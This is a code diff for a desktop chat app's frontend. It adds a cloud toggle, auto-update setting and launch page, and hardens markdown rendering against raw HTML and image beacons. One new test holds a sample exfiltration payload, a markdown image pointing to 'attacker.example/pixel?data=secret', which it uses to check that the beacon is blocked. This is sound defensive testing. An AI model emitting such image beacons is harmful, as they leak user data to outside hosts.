+
+        <div className="min-w-0 flex-1">
+          <span className="text-sm font-medium text-neutral-900 dark:text-neutral-100">
+            {item.name}
+          </span>
+          <p className="mt-0.5 text-xs text-neutral-500 dark:text-neutral-400">
+            {item.description}
+          </p>
+          <div className="mt-2 flex items-center gap-2 rounded-xl border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800 px-3 py-2">
+            <code className="min-w-0 flex-1 truncate text-xs text-neutral-600 dark:text-neutral-300">
+              {item.command}
+            </code>
+            <CopyButton
+              content={item.command}
+              size="md"
+              title="Copy command to clipboard"
+              className="text-neutral-500 dark:text-neutral-400 hover:text-neutral-700 dark:hover:text-neutral-200 hover:bg-neutral-200/60 dark:hover:bg-neutral-700/70"
+              onCopy={() => {
+                setSettings({ LastHomeView: item.id }).catch(() => { });
+              }}
+            />
+          </div>
+        </div>
+      </div>
+    </div>
+  );
+
+  return (
+    <main className="flex h-screen w-full flex-col relative">
+      <section
+        className={`flex-1 overflow-y-auto overscroll-contain relative min-h-0 ${isWindows ? "xl:pt-4" : "xl:pt-8"}`}
+      >
+        <div className="max-w-[730px] mx-auto w-full px-4 pt-4 pb-20 sm:px-6 sm:pt-6 sm:pb-24 lg:px-8 lg:pt-8 lg:pb-28">
+          <h1 className="text-xl font-semibold text-neutral-900 dark:text-neutral-100">
+            Launch
+          </h1>
+          <p className="mt-1 text-sm text-neutral-500 dark:text-neutral-400">
+            Copy a command and run it in your terminal.
+          </p>
+
+          <div className="mt-6 grid gap-7">
+            {LAUNCH_COMMANDS.map(renderCommandCard)}
+          </div>
+        </div>
+      </section>
+    </main>
+  );
+}

app/ui/app/src/components/Message.tsx

@@ -536,7 +536,7 @@ function ToolCallDisplay({
     let args: Record<string, unknown> | null = null;
     try {
       args = JSON.parse(toolCall.function.arguments) as Record<string, unknown>;
-    } catch (e) {
+    } catch {
       args = null;
     }
     const query = args && typeof args.query === "string" ? args.query : "";
@@ -562,7 +562,7 @@ function ToolCallDisplay({
     let args: Record<string, unknown> | null = null;
     try {
       args = JSON.parse(toolCall.function.arguments) as Record<string, unknown>;
-    } catch (e) {
+    } catch {
       args = null;
     }
     const url = args && typeof args.url === "string" ? args.url : "";

app/ui/app/src/components/MessageList.tsx

@@ -73,7 +73,7 @@ export default function MessageList({
                     ? String(args.url).trim()
                     : "";
               if (candidate) lastQuery = candidate;
-            } catch {}
+            } catch { /* ignored */ }
           }
         }
       }

app/ui/app/src/components/ModelPicker.tsx

@@ -8,7 +8,7 @@ import {
 } from "react";
 import { Model } from "@/gotypes";
 import { useSelectedModel } from "@/hooks/useSelectedModel";
-import { useSettings } from "@/hooks/useSettings";
+import { useCloudStatus } from "@/hooks/useCloudStatus";
 import { useQueryClient } from "@tanstack/react-query";
 import { getModelUpstreamInfo } from "@/api";
 import { ArrowDownTrayIcon } from "@heroicons/react/24/outline";
@@ -34,7 +34,7 @@ export const ModelPicker = forwardRef<
     chatId,
     searchQuery,
   );
-  const { settings } = useSettings();
+  const { cloudDisabled } = useCloudStatus();
   const dropdownRef = useRef<HTMLDivElement>(null);
   const searchInputRef = useRef<HTMLInputElement>(null);
   const queryClient = useQueryClient();
@@ -61,24 +61,7 @@ export const ModelPicker = forwardRef<
     try {
       const upstreamInfo = await getModelUpstreamInfo(model);
 
-      // Compare local digest with upstream digest
-      let isStale =
-        model.digest &&
-        upstreamInfo.digest &&
-        model.digest !== upstreamInfo.digest;
-
-      // If the model has a modified time and upstream has a push time,
-      // check if the model was modified after the push time - if so, it's not stale
-      if (isStale && model.modified_at && upstreamInfo.pushTime > 0) {
-        const modifiedAtTime =
-          new Date(model.modified_at as string | number | Date).getTime() /
-          1000;
-        if (modifiedAtTime > upstreamInfo.pushTime) {
-          isStale = false;
-        }
-      }
-
-      if (isStale) {
+      if (upstreamInfo.stale) {
         const currentStaleModels =
           queryClient.getQueryData<Map<string, boolean>>(["staleModels"]) ||
           new Map();
@@ -219,7 +202,7 @@ export const ModelPicker = forwardRef<
             models={models}
             selectedModel={selectedModel}
             onModelSelect={handleModelSelect}
-            airplaneMode={settings.airplaneMode}
+            cloudDisabled={cloudDisabled}
             isOpen={isOpen}
           />
         </div>
@@ -233,13 +216,13 @@ export const ModelList = forwardRef(function ModelList(
     models,
     selectedModel,
     onModelSelect,
-    airplaneMode,
+    cloudDisabled,
     isOpen,
   }: {
     models: Model[];
     selectedModel: Model | null;
     onModelSelect: (model: Model) => void;
-    airplaneMode: boolean;
+    cloudDisabled: boolean;
     isOpen: boolean;
   },
   ref,
@@ -348,7 +331,7 @@ export const ModelList = forwardRef(function ModelList(
                   </svg>
                 )}
                 {model.digest === undefined &&
-                  (airplaneMode || !model.isCloud()) && (
+                  (cloudDisabled || !model.isCloud()) && (
                     <ArrowDownTrayIcon
                       className="h-4 w-4 text-neutral-500 dark:text-neutral-400"
                       strokeWidth={1.75}

app/ui/app/src/components/Settings.tsx

@@ -11,15 +11,24 @@ import {
   FolderIcon,
   BoltIcon,
   WrenchIcon,
+  CloudIcon,
   XMarkIcon,
   CogIcon,
   ArrowLeftIcon,
+  ArrowDownTrayIcon,
 } from "@heroicons/react/20/solid";
 import { Settings as SettingsType } from "@/gotypes";
 import { useNavigate } from "@tanstack/react-router";
 import { useUser } from "@/hooks/useUser";
+import { useCloudStatus } from "@/hooks/useCloudStatus";
 import { useQuery, useMutation, useQueryClient } from "@tanstack/react-query";
-import { getSettings, updateSettings } from "@/api";
+import {
+  getSettings,
+  type CloudStatusResponse,
+  updateCloudSetting,
+  updateSettings,
+  getInferenceCompute,
+} from "@/api";
 
 function AnimatedDots() {
   return (
@@ -53,6 +62,11 @@ export default function Settings() {
   const [connectionError, setConnectionError] = useState<string | null>(null);
   const [pollingInterval, setPollingInterval] = useState<number | null>(null);
   const navigate = useNavigate();
+  const {
+    cloudDisabled,
+    cloudStatus,
+    isLoading: cloudStatusLoading,
+  } = useCloudStatus();
 
   const {
     data: settingsData,
@@ -65,6 +79,13 @@ export default function Settings() {
 
   const settings = settingsData?.settings || null;
 
+  const { data: inferenceComputeResponse } = useQuery({
+    queryKey: ["inferenceCompute"],
+    queryFn: getInferenceCompute,
+  });
+
+  const defaultContextLength = inferenceComputeResponse?.defaultContextLength;
+
   const updateSettingsMutation = useMutation({
     mutationFn: updateSettings,
     onSuccess: () => {
@@ -74,6 +95,50 @@ export default function Settings() {
     },
   });
 
+  const updateCloudMutation = useMutation({
+    mutationFn: (enabled: boolean) => updateCloudSetting(enabled),
+    onMutate: async (enabled: boolean) => {
+      await queryClient.cancelQueries({ queryKey: ["cloudStatus"] });
+
+      const previous = queryClient.getQueryData<CloudStatusResponse | null>([
+        "cloudStatus",
+      ]);
+      const envForcesDisabled =
+        previous?.source === "env" || previous?.source === "both";
+
+      queryClient.setQueryData<CloudStatusResponse | null>(
+        ["cloudStatus"],
+        previous
+          ? {
+              ...previous,
+              disabled: !enabled || envForcesDisabled,
+            }
+          : {
+              disabled: !enabled,
+              source: "config",
+            },
+      );
+
+      return { previous };
+    },
+    onError: (_error, _enabled, context) => {
+      if (context?.previous !== undefined) {
+        queryClient.setQueryData(["cloudStatus"], context.previous);
+      }
+    },
+    onSuccess: (status) => {
+      queryClient.setQueryData<CloudStatusResponse | null>(
+        ["cloudStatus"],
+        status,
+      );
+      queryClient.invalidateQueries({ queryKey: ["models"] });
+      queryClient.invalidateQueries({ queryKey: ["cloudStatus"] });
+
+      setShowSaved(true);
+      setTimeout(() => setShowSaved(false), 1500);
+    },
+  });
+
   useEffect(() => {
     refetchUser();
   }, []); // eslint-disable-line react-hooks/exhaustive-deps
@@ -148,13 +213,18 @@ export default function Settings() {
         Models: "",
         Agent: false,
         Tools: false,
-        ContextLength: 4096,
-        AirplaneMode: false,
+        ContextLength: 0,
+        AutoUpdateEnabled: true,
       });
       updateSettingsMutation.mutate(defaultSettings);
     }
   };
 
+  const cloudOverriddenByEnv =
+    cloudStatus?.source === "env" || cloudStatus?.source === "both";
+  const cloudToggleDisabled =
+    cloudStatusLoading || updateCloudMutation.isPending || cloudOverriddenByEnv;
+
   const handleConnectOllamaAccount = async () => {
     setConnectionError(null);
 
@@ -203,6 +273,10 @@ export default function Settings() {
   }
 
   const isWindows = navigator.platform.toLowerCase().includes("win");
+  const handleCloseSettings = () => {
+    const chatId = settings.LastHomeView === "chat" ? "new" : "launch";
+    navigate({ to: "/c/$chatId", params: { chatId } });
+  };
 
   return (
     <main className="flex h-screen w-full flex-col select-none dark:bg-neutral-900">
@@ -216,7 +290,7 @@ export default function Settings() {
         >
           {isWindows && (
             <button
-              onClick={() => navigate({ to: "/" })}
+              onClick={handleCloseSettings}
               className="hover:bg-neutral-100 mr-3 dark:hover:bg-neutral-800 rounded-full p-1.5"
             >
               <ArrowLeftIcon className="w-5 h-5 dark:text-white" />
@@ -226,7 +300,7 @@ export default function Settings() {
         </h1>
         {!isWindows && (
           <button
-            onClick={() => navigate({ to: "/" })}
+            onClick={handleCloseSettings}
             className="p-1 hover:bg-neutral-100 mr-3 dark:hover:bg-neutral-800 rounded-full"
           >
             <XMarkIcon className="w-6 h-6 dark:text-white" />
@@ -237,7 +311,7 @@ export default function Settings() {
         <div className="space-y-4 max-w-2xl mx-auto">
           {/* Connect Ollama Account */}
           <div className="overflow-hidden rounded-xl bg-white dark:bg-neutral-800">
-            <div className="p-4 border-b border-neutral-200 dark:border-neutral-800">
+            <div className="p-4">
               <Field>
                 {isLoading ? (
                   // Loading skeleton, this will only happen if the app started recently
@@ -344,6 +418,57 @@ export default function Settings() {
           {/* Local Configuration */}
           <div className="relative overflow-hidden rounded-xl bg-white dark:bg-neutral-800">
             <div className="space-y-4 p-4">
+              <Field>
+                <div className="flex items-start justify-between gap-4">
+                  <div className="flex items-start space-x-3 flex-1">
+                    <CloudIcon className="mt-1 h-5 w-5 flex-shrink-0 text-black dark:text-neutral-100" />
+                    <div>
+                      <Label>Cloud</Label>
+                      <Description>
+                        {cloudOverriddenByEnv
+                          ? "The OLLAMA_NO_CLOUD environment variable is currently forcing cloud off."
+                          : "Enable cloud models and web search."}
+                      </Description>
+                    </div>
+                  </div>
+                  <div className="flex-shrink-0">
+                    <Switch
+                      checked={!cloudDisabled}
+                      disabled={cloudToggleDisabled}
+                      onChange={(checked) => {
+                        if (cloudOverriddenByEnv) {
+                          return;
+                        }
+                        updateCloudMutation.mutate(checked);
+                      }}
+                    />
+                  </div>
+                </div>
+              </Field>
+
+              {/* Auto Update */}
+              <Field>
+                <div className="flex items-start justify-between gap-4">
+                  <div className="flex items-start space-x-3 flex-1">
+                    <ArrowDownTrayIcon className="mt-1 h-5 w-5 flex-shrink-0 text-black dark:text-neutral-100" />
+                    <div>
+                      <Label>Auto-download updates</Label>
+                      <Description>
+                        {settings.AutoUpdateEnabled
+                          ? "Automatically download updates when available."
+                          : "Updates will not be downloaded automatically."}
+                      </Description>
+                    </div>
+                  </div>
+                  <div className="flex-shrink-0">
+                    <Switch
+                      checked={settings.AutoUpdateEnabled}
+                      onChange={(checked) => handleChange("AutoUpdateEnabled", checked)}
+                    />
+                  </div>
+                </div>
+              </Field>
+
               {/* Expose Ollama */}
               <Field>
                 <div className="flex items-start justify-between gap-4">
@@ -419,13 +544,11 @@ export default function Settings() {
                     </Description>
                     <div className="mt-3">
                       <Slider
-                        value={(() => {
-                          // Otherwise use the settings value
-                          return settings.ContextLength || 4096;
-                        })()}
+                        value={settings.ContextLength || defaultContextLength || 0}
                         onChange={(value) => {
                           handleChange("ContextLength", value);
                         }}
+                        disabled={!defaultContextLength}
                         options={[
                           { value: 4096, label: "4k" },
                           { value: 8192, label: "8k" },
@@ -440,35 +563,6 @@ export default function Settings() {
                   </div>
                 </div>
               </Field>
-              {/* Airplane Mode */}
-              <Field>
-                <div className="flex items-start justify-between gap-4">
-                  <div className="flex items-start space-x-3 flex-1">
-                    <svg
-                      className="mt-1 h-5 w-5 flex-shrink-0 text-black dark:text-neutral-100"
-                      viewBox="0 0 21.5508 17.9033"
-                      fill="currentColor"
-                    >
-                      <path d="M21.5508 8.94727C21.542 7.91895 20.1445 7.17188 18.4658 7.17188L14.9238 7.17188C14.4316 7.17188 14.2471 7.09277 13.957 6.75879L8.05078 0.316406C7.86621 0.105469 7.6377 0 7.37402 0L6.35449 0C6.12598 0 5.99414 0.202148 6.1084 0.448242L9.14941 7.17188L4.68457 7.68164L3.09375 4.76367C2.97949 4.54395 2.78613 4.44727 2.49609 4.44727L2.11816 4.44727C1.88965 4.44727 1.74023 4.59668 1.74023 4.8252L1.74023 13.0693C1.74023 13.2979 1.88965 13.4385 2.11816 13.4385L2.49609 13.4385C2.78613 13.4385 2.97949 13.3418 3.09375 13.1309L4.68457 10.2129L9.14941 10.7227L6.1084 17.4463C5.99414 17.6836 6.12598 17.8945 6.35449 17.8945L7.37402 17.8945C7.6377 17.8945 7.86621 17.7803 8.05078 17.5781L13.957 11.127C14.2471 10.8018 14.4316 10.7227 14.9238 10.7227L18.4658 10.7227C20.1445 10.7227 21.542 9.9668 21.5508 8.94727Z" />
-                    </svg>
-                    <div>
-                      <Label>Airplane mode</Label>
-                      <Description>
-                        Airplane mode keeps data local, disabling cloud models
-                        and web search.
-                      </Description>
-                    </div>
-                  </div>
-                  <div className="flex-shrink-0">
-                    <Switch
-                      checked={settings.AirplaneMode}
-                      onChange={(checked) =>
-                        handleChange("AirplaneMode", checked)
-                      }
-                    />
-                  </div>
-                </div>
-              </Field>
             </div>
           </div>
 

app/ui/app/src/components/StreamingMarkdownContent.test.tsx

@@ -0,0 +1,61 @@
+import { renderToStaticMarkup } from "react-dom/server";
+import type React from "react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+type MockStreamdownProps = {
+  children?: React.ReactNode;
+  components: {
+    img: React.ComponentType<React.ImgHTMLAttributes<HTMLImageElement>>;
+  };
+  rehypePlugins?: unknown[];
+};
+
+const streamdownMock = vi.hoisted(() =>
+  vi.fn((props: MockStreamdownProps) => props.children),
+);
+
+vi.mock("streamdown", () => ({
+  Streamdown: streamdownMock,
+  defaultRehypePlugins: {
+    katex: "katex",
+    raw: "raw",
+  },
+  defaultRemarkPlugins: {
+    gfm: "gfm",
+    math: "math",
+  },
+}));
+
+import StreamingMarkdownContent from "./StreamingMarkdownContent";
+
+describe("StreamingMarkdownContent", () => {
+  beforeEach(() => {
+    streamdownMock.mockClear();
+  });
+
+  it("does not enable raw HTML parsing", () => {
+    renderToStaticMarkup(
+      <StreamingMarkdownContent content="<iframe></iframe>" />,
+    );
+
+    const props = streamdownMock.mock.calls[0][0];
+    expect(props.rehypePlugins).toEqual(["katex"]);
+    expect(props.rehypePlugins).not.toContain("raw");
+  });
+
+  it("does not render markdown image src values", () => {
+    renderToStaticMarkup(
+      <StreamingMarkdownContent content="![secret](https://attacker.example/pixel?data=secret)" />,
+    );
+
+    const props = streamdownMock.mock.calls[0][0];
+    const Img = props.components.img;
+    const html = renderToStaticMarkup(
+      <Img alt="secret" src="https://attacker.example/pixel?data=secret" />,
+    );
+
+    expect(html).not.toContain("<img");
+    expect(html).not.toContain("attacker.example");
+    expect(html).toContain("secret");
+  });
+});

app/ui/app/src/components/StreamingMarkdownContent.tsx

@@ -1,5 +1,9 @@
 import React from "react";
-import { Streamdown, defaultRemarkPlugins } from "streamdown";
+import {
+  Streamdown,
+  defaultRehypePlugins,
+  defaultRemarkPlugins,
+} from "streamdown";
 import remarkCitationParser from "@/utils/remarkCitationParser";
 import CopyButton from "./CopyButton";
 import type { BundledLanguage } from "shiki";
@@ -29,6 +33,8 @@ const extractText = (node: React.ReactNode): string => {
   return "";
 };
 
+const safeRehypePlugins = [defaultRehypePlugins.katex];
+
 const CodeBlock = React.memo(
   ({ children }: React.HTMLAttributes<HTMLPreElement>) => {
     // Extract code and language from children
@@ -210,9 +216,12 @@ const StreamingMarkdownContent: React.FC<StreamingMarkdownContentProps> =
           <Streamdown
             parseIncompleteMarkdown={isStreaming}
             isAnimating={isStreaming}
+            rehypePlugins={safeRehypePlugins}
             remarkPlugins={remarkPlugins}
             controls={false}
             components={{
+              img: ({ alt }: React.ImgHTMLAttributes<HTMLImageElement>) =>
+                alt ? <span>{alt}</span> : null,
               pre: CodeBlock,
               table: ({
                 children,

app/ui/app/src/components/ui/badge.tsx

@@ -65,7 +65,7 @@ export const BadgeButton = forwardRef(function BadgeButton(
     ),
   ref: React.ForwardedRef<HTMLElement>,
 ) {
-  let classes = clsx(
+  const classes = clsx(
     className,
     "group relative inline-flex rounded-md focus:not-data-focus:outline-hidden data-focus:outline-2 data-focus:outline-offset-2 data-focus:outline-blue-500",
   );

app/ui/app/src/components/ui/button.tsx

@@ -171,7 +171,7 @@ export const Button = forwardRef(function Button(
   { color, outline, plain, className, children, ...props }: ButtonProps,
   ref: React.ForwardedRef<HTMLElement>,
 ) {
-  let classes = clsx(
+  const classes = clsx(
     className,
     styles.base,
     outline

app/ui/app/src/components/ui/slider.tsx

@@ -6,10 +6,11 @@ export interface SliderProps {
   value?: number;
   onChange?: (value: number) => void;
   className?: string;
+  disabled?: boolean;
 }
 
 const Slider = React.forwardRef<HTMLDivElement, SliderProps>(
-  ({ label, options, value = 0, onChange }, ref) => {
+  ({ label, options, value = 0, onChange, disabled = false }, ref) => {
     const [selectedValue, setSelectedValue] = React.useState(value);
     const [isDragging, setIsDragging] = React.useState(false);
     const containerRef = React.useRef<HTMLDivElement>(null);
@@ -20,6 +21,7 @@ const Slider = React.forwardRef<HTMLDivElement, SliderProps>(
     }, [value]);
 
     const handleClick = (optionValue: number) => {
+      if (disabled) return;
       setSelectedValue(optionValue);
       onChange?.(optionValue);
     };
@@ -39,6 +41,7 @@ const Slider = React.forwardRef<HTMLDivElement, SliderProps>(
     };
 
     const handleMouseDown = (e: React.MouseEvent) => {
+      if (disabled) return;
       setIsDragging(true);
       e.preventDefault();
     };
@@ -77,7 +80,7 @@ const Slider = React.forwardRef<HTMLDivElement, SliderProps>(
     }
 
     return (
-      <div className="space-y-2" ref={ref}>
+      <div className={`space-y-2 ${disabled ? "opacity-50" : ""}`} ref={ref}>
         {label && <label className="text-sm font-medium">{label}</label>}
         <div className="relative">
           <div className="absolute top-[9px] left-2 right-2 h-1 bg-neutral-200 dark:bg-neutral-700 pointer-events-none rounded-full" />
@@ -88,10 +91,11 @@ const Slider = React.forwardRef<HTMLDivElement, SliderProps>(
                 <button
                   onClick={() => handleClick(option.value)}
                   onMouseDown={handleMouseDown}
-                  className="relative px-3 py-6 -mx-3 -my-6 z-10 cursor-pointer"
+                  disabled={disabled}
+                  className={`relative px-3 py-6 -mx-3 -my-6 z-10 ${disabled ? "cursor-not-allowed" : "cursor-pointer"}`}
                 >
                   <div className="relative w-5 h-5 flex items-center justify-center">
-                    {selectedValue === option.value && (
+                    {selectedValue === option.value && !disabled && (
                       <div className="w-4 h-4 bg-white dark:bg-white border border-neutral-400 dark:border-neutral-500 rounded-full cursor-grab active:cursor-grabbing" />
                     )}
                   </div>

app/ui/app/src/hooks/useChats.ts

@@ -6,8 +6,8 @@ import { useSelectedModel } from "./useSelectedModel";
 import { createQueryBatcher } from "./useQueryBatcher";
 import { useRefetchModels } from "./useModels";
 import { useStreamingContext } from "@/contexts/StreamingContext";
-import { useSettings } from "./useSettings";
 import { getModelCapabilities } from "@/api";
+import { useCloudStatus } from "./useCloudStatus";
 
 export const useChats = () => {
   return useQuery({
@@ -116,11 +116,9 @@ export const useIsModelStale = (modelName: string) => {
 export const useShouldShowStaleDisplay = (model: Model | null) => {
   const isStale = useIsModelStale(model?.model || "");
   const { data: dismissedModels } = useDismissedStaleModels();
-  const {
-    settings: { airplaneMode },
-  } = useSettings();
+  const { cloudDisabled } = useCloudStatus();
 
-  if (model?.isCloud() && !airplaneMode) {
+  if (model?.isCloud() && !cloudDisabled) {
     return false;
   }
 
@@ -383,7 +381,7 @@ export const useSendMessage = (chatId: string) => {
                     role: "assistant",
                     content: "",
                     thinking: "",
-                    model: effectiveModel,
+                    model: effectiveModel.model,
                   }),
                 );
                 lastMessage = newMessages[newMessages.length - 1];
@@ -435,7 +433,7 @@ export const useSendMessage = (chatId: string) => {
                     role: "assistant",
                     content: "",
                     thinking: "",
-                    model: effectiveModel,
+                    model: effectiveModel.model,
                   }),
                 );
                 lastMessage = newMessages[newMessages.length - 1];
@@ -522,7 +520,7 @@ export const useSendMessage = (chatId: string) => {
                     thinkingTimeStart:
                       lastMessage.thinkingTimeStart || event.thinkingTimeStart,
                     thinkingTimeEnd: event.thinkingTimeEnd,
-                    model: selectedModel,
+                    model: selectedModel.model,
                   });
                   newMessages[newMessages.length - 1] = updatedMessage;
                 } else {
@@ -535,7 +533,7 @@ export const useSendMessage = (chatId: string) => {
                       tool_calls: event.toolCalls,
                       thinkingTimeStart: event.thinkingTimeStart,
                       thinkingTimeEnd: event.thinkingTimeEnd,
-                      model: selectedModel,
+                      model: selectedModel.model,
                     }),
                   );
                 }
@@ -701,7 +699,7 @@ export const useSendMessage = (chatId: string) => {
             queryClient.setQueryData(["chat", newId], {
               chat: new Chat({
                 id: newId,
-                model: effectiveModel,
+                model: effectiveModel.model,
                 messages: [
                   new Message({
                     role: "user",

app/ui/app/src/hooks/useCloudStatus.ts

@@ -0,0 +1,20 @@
+import { useQuery } from "@tanstack/react-query";
+import { getCloudStatus, type CloudStatusResponse } from "@/api";
+
+export function useCloudStatus() {
+  const cloudQuery = useQuery<CloudStatusResponse | null>({
+    queryKey: ["cloudStatus"],
+    queryFn: getCloudStatus,
+    retry: false,
+    staleTime: 60 * 1000,
+  });
+
+  return {
+    cloudStatus: cloudQuery.data,
+    cloudDisabled: cloudQuery.data?.disabled ?? false,
+    isKnown: cloudQuery.data !== null && cloudQuery.data !== undefined,
+    isLoading: cloudQuery.isLoading,
+    isError: cloudQuery.isError,
+    error: cloudQuery.error,
+  };
+}

app/ui/app/src/hooks/useFeaturedModels.ts

@@ -0,0 +1,13 @@
+import { useQuery } from "@tanstack/react-query";
+import { getModelRecommendations } from "@/api";
+import type { ModelRecommendation } from "@/api";
+
+export function useFeaturedModels() {
+  return useQuery<ModelRecommendation[], Error>({
+    queryKey: ["modelRecommendations"],
+    queryFn: getModelRecommendations,
+    staleTime: 5 * 60 * 1000,
+    gcTime: 30 * 60 * 1000,
+    refetchOnWindowFocus: false,
+  });
+}

app/ui/app/src/hooks/useModelCapabilities.ts

@@ -20,3 +20,8 @@ export function useHasVisionCapability(modelName: string | undefined) {
   const { data: capabilitiesResponse } = useModelCapabilities(modelName);
   return capabilitiesResponse?.capabilities?.includes("vision") ?? false;
 }
+
+export function useHasToolsCapability(modelName: string | undefined) {
+  const { data: capabilitiesResponse } = useModelCapabilities(modelName);
+  return capabilitiesResponse?.capabilities?.includes("tools") ?? false;
+}